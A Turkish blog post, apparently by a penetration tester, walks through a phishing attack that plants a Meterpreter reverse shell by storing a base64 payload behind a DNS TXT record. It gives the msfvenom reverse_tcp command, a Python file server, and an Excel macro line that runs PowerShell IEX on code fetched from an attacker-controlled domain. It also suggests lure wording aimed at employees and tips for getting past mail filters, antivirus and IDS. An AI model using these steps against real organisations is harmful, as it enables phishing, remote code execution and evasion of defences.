Sızma testinde DNS Kaydı ile Payload iletimi ve hacking

Hasan Ç.
6 min readOct 24, 2020

Merhaba arkadaşlar bu yazımda size bir sızma testi senaryosundan bahsetmek istiyorum.

NOT:Ancak bu yöntemin istismarının önlenmesi için belli kodları sansürleyerek anlatacağım. Zaten siber güvenlikte iseniz bu kodları biliyor veya çok kısa sürede bulabilirsiniz.

Fakat öncelikle bazı terimleri kısaca özetlemek istiyorum:

Öncelikle Sızma testi nedir? nasıl yapılır kısaca bunu özetleyelim.Kısaca: sistemin güvenliğini değerlendirmek üzere bir bilgisayar sistemi üzerinde gerçekleştirilen yetkilendirilmiş temsili bir siber saldırıdır.

DNS nedir ve nasıl çalışır?

Dns kitap tanımı ile: İnternet uzayını bölümlemeye, bölümleri adlandırmaya ve bölümler arası iletişimi organize etmeye yarayan, bilgisayar, servis, İnternet veya özel bir ağa bağlı herhangi bir kaynak için hiyerarşik dağıtılmış bir adlandırma sistemidir. İnternet ağını oluşturan her birim sadece kendine ait bir IP adresine sahiptir.

Yani kitap tanımını bir kenara bırakırsak dns nedir dersek bir örnekle kabaca açıklayalım; çok detaya girmeden anlatacağım zira destan gibi yazmak istemiyorum. Dns yani Domain Name System yani alan adı sistemi siz www.google.com adresine gitmek istiyorsunuz. işte dns bu noktada çalışıyor siz google.com yazıp giriş dediğiniz anda bu istek dns sunucusuna(dns den önce local host dosyanıza ve belli bir hiyerarşik sıra ile ilerler ve nihayetinde yanıt alınmazsa dns sunucusuna gider) bir istekde bulunursunuz ve dns sunucusuna sorarsınız ben google.com adresine gitmek istiyorum nasıl giderim? Dns sunucusu ise sizi o sitenin ip adresine yönlendirir. kabaca işlevi budur.
örneğin senaryo gereği bir ülkenin kullandığı DNS sunucularına saldırırsanız o ülkede internet erişimini kesersiniz. eeeee yani teknik olarak İnternet erişimi vardır. fakat siz facebook.com a girmek istediğinizde sizi facebook un ip adresine yönlendiren dns devre dışı olduğundan ve eğer hiçbir noktada bu kayıt yok veya facebook un ip adresi değişmiş ise ve facebookun ip adresini ezbere bilmediğiniz için siteye erişemezsiniz.

Sızma Testini daha iyi anlayabilmek için çeşitli aşamaları içeren görsel:
Sızma Testi

Payload kitap tanımı ise :Bilgi işlem ve telekomünikasyonda, payload, iletilen verilerde gerçek istenilen mesajın parçasıdır. Payload, yalnızca yük taşıma işlemini kolaylaştırmak için gönderilen herhangi bir üst bilgi veya meta veriyi hariç tutmaktadır

ama biz beyaz şapkalıların aklına gelen ilk şey en azından benim, hedef sistem makinesinde çalışarak bize erişim sağlayan özellikle reverse shell almak için kullanılan ve hedef sisteme girip sömürmemizi sağlayan ufak programcıklar kod parçacıklarıdır demek yanış olmaz.

Şimdi ufaktan gelelim asıl konumuza.

Amacımız hedef sistem üzerinde hiçbir güvenlik yazılımına (Antivirüs güvenlik duvarı, İPS, İDS ) takılmadan zararlı kodumuzu enjekte edip hedeften shell almaktır. Bu senaryoda phishing yani oltalama saldırıcı aracılığı ile saldırı yapılacaktır.

Gereklilikler:

Bir alan adı , alan adına ait açılan subdomain Dns txt kaydı, bir payload ajanı(socs2,empire,msfvenom ve console vs.), base64 encode ve decode,bir hosting.

İlk aşamada payload kodu hazırlanır ben hızlı ve örnek olması açısında msfvenou tercih ettim.

  • msfvenom -p windows/meterpreter/reverse_tcp LHOST=İpadres LPORT=port -f psh-cmd -o dnstemiz.txt

çıkan payload kodu dnstemiz.txt dosyasına kaydedildi şimdi payload kodumuza erişip kopyalıyoruz. ve bir base64 encode sitesin veya aracı ile bu kodu encode ediyoruz. örneğin:

daha sonra bu base64 kodunu alıp hostun içerisinde bir dosyaya .txt veya başka bir formatta yazalım. ben .txt olarak yaptım test uygulamasında. ve şu şekilde olacak içerik www.testsitebilmemne.com/shellcode.txt

ben örnek uygulama sırasında bir dış host vs almak yerine localde pyton scripti ile basit bir server oluşturdum. bu hayal gücünüze kalmış bir olay, isterseniz cloud servislerine koyun bu kodu isterseniz kendi sitenizde bir yere vs.

benim örnek uygulamamda

  • python2 -m SimppleHTTPServer 3232

diyerek localde örnek olarak 192.168.1.15:3232/shellcode.txt dosyasını tuttum erişim adresi bu.

daha sonra bu shell kodunu okuyabilmek için alan adınıza bir subdomain kaydı oluşturup bu kayda DNS TXT kaydı ekleyin.

Benim oluşturduğu kayıt şu şekilde:

Gördüğünüz gibi 3232 nolu porta text.txt olarak ekledim.Unutmamanız gereken nokta şu. base64 lenmiş şekilde tutulacaktır o dosyada. bu hem veri kaybını önleyecek hemde dns kaydından kaynaklanan ufak hata boşluk vs gibi yapıların kodumuzu bozmasını engelleyecektir.

text.txt dosyasının içeriği:

şimdik hemen herşey hazır sayılır. payload kodumuz hazır, DNS txt kaydımızı ekleyelim bunun için dns txt kaydı oluşturup gerekli powershell kodunu kaydediyoruz. ben kendi siteme ekledim test amaçlı ve TXT kayıt sorgusu şu şekilde.(evet sansürlü, kötü şekilde istismarını önlemek için bu ufak bir önlem:)

Sıra geldi kilit noktayı hazırlamakta.

Şimdi payloadımızı enjekte etmek için yapmamız gerekene gelelim. Burada yöntem sizin hayal gücünüze kalmış vaziyette. isterseniz direk bir powershell kodu olarak bir dosyaya yazıp gönderin, isterseniz bir uygulamanın içine gömün bu kodu isterseniz de bu örnekteki gibi bir exel macro oluşturun.

Şimdi exel de bir macro oluşturarak powershell kodumuzu enjekte ediyoruz. bunun için şu komutu kullanabilirsiniz.

  • =EXEC(B1) powershell -c “IEX(IEX(Resolve-DnsName-Name test.sizinsiteniz.com -Type TXT|select -expand Strings))”
    =HALT()

Daha sonra bu macroyu kaydedip hedefe bir oltalama saldırısı olarak yollayacaksınız. Burasıda sizin hayal gücünüze kalmış, sızma testi yaptığınız şirket vs için çalışanlara yönelik hazırlanmış örneğin: tebrikler şu şu ikramiyeyi kazandınız, ikramiyenizi almak için ekteki exel tablosunu doldurarak bize yollayınız.

Bu yöntemde birde bonus olarak hedefteki çalışanlar size bilgilerini yazıp yollarsa şaşırmayın :) tabi buna gerek yok macro aktif şekilde exel dosyasını açtıkları anda zaten siz içeridesiniz :).

E-maili yollamak için bir mail server kurabilir veya hali hazırda olan araçlarda yollayabilirsiniz. burada detay nokta sizin güvenlik yazılım ve filtrelerden kaçmanız için e maili düzgün tasarlamalı, mail server ip adresi temiz olmalı(black list vs ihtimaline karşı) gibi önlemlerle tasarlayıp yollamalısınız.

benim örneğimde exel çalıştırıldıktan sonra veya payload kodu içeri sızmayı başardım.

.

Şu görselde de gördüğünüz gibi powershell çalışıyor. payloadımız aktif halde.

Dns kaydı ve shell alınmış makineye ait bir diğer görsel ise :

Gördüğünüz gibi içerideyiz. evet birden çok kez deneme yaptım. hem macro ile hem macrosuz. ve test sistemim windows 7 olduğu için ilk aşamada sorunlar çıktı. çünkü powershell dns sorgu komutu bu versiyonda yok :) bende kodda ufak değişikliklerle sorunu çözdüm ve testler yaptım. hatta bir ara shell e geçmeden sorgu yapmışım :D

Peki Nasıl Gerçekleşti??? Nasıl çalışıyor???

Saldırı şu şekilde gerçekleşti. base64 le kodlanmış payload kodumuzu içeren web sitesindeki dosyayı DNS txt kaydına koyduğumuz kod ile decode ettik ve payload kodunu aldık. daha sonra macroya yazdığımız powershell kodu ile sitenize ait dns txt kaydı sorgusu yapıldı. bu sorguda dns kaydındaki kod ile docode edilen payload kodu alındı ve daha sonra IEX e atayarak işleme koydu. olay bu kadar basit.

Bu senaryoda bu saldırının avantajlarına gelirsek. Gönderdiğiniz macro veya direk o kod hiçbir şekilde zararlı kod parçacığı içermediği için antivirüsler tarafından yakalanamayacaktır.(not2 okuyun),IPS IDS ve firewall gibi güvenlik önlemlerini atlatmak için ise DNS tünelleme kullanılabilir. ve hatta dns tünelleme ile modifikasyon ettiğiniz virüsünüz senaryo gereği internet erişimi olmayan hemen her şey engellenmiş izole sistemlerde bile eğer ki dns serverlarına bağlantı varsa çalışacaktır. Misal sistemden izole edilen yalnızca DNS serverları ve birkaç yerle konuşan Dc (domain controller) admin makinesi dns tünelleme ile erişilebilir.

Son olarak unutmadan şu notu da eklemek istiyorum bu saldırı win8 ve üstü powershell olan makineler içindir. windows 7 de örneğin subdomain tespitini sağlayın dns kaydını çeken kod parçacığı çalışmayabiliyor, bunun için çeşitli ayarlar güncellemeler vs yapmak gerekiyor. ama bu sorun değil koddaki ufak değişikliklerle kendi kodunuz ile bu ufak sorunun çözebilirsiniz.

Dilimiz sürçtüyse affola, Teşekkürler.

Not.2:

(tabi bu saldırı tipi çok sömürülür ise antivirüsler o zararlı kod yerine o kod öbeğini direk engelliyor. öyle ki 2–3 ay önce yazdığın meterpreter payloadını antivirüslerden kaçıran yazılımda 2–3 adet şirket yakalamaya başladı. yanlış anlaşılmasın üretilen her virüste öyle bir algoritma yazdım ki içerisindeki değişken adları dahi yeni ürettiğiniz payloadla birlikte değişiyor yani ve bir kısım önlemlerle zararlı kod tespit edilemiyor değişiyordu virüs imzası değişken olduğundan yakalanmıyordu. ama yaptığım analizlerde tespitin yinede sağlanamadığını fakat çalıştırılan ana kod öbeğinin direk engellendiğini ve hiçbir şey içermese dahi o kod öbeği varsa virüs olarak yakalandığını tespit ettim. yani tespit edemeyince analizler sonucu o komutu direk engellemişler :) . yani örneğin print(‘test’) komutu ile işlem yapıyorsunuz bu komutu direk engellemişler test yazan yerde ister zararlı kod olsun ister olmasın içerisinde print geçen tüm uygulamaları virüs saymışlar :) )

--

--

Hasan Ç.

Geophysical Engineer, İnformation Security, Cyber Security And Penetration Tester Specialist blog https://realradioactive.github.io/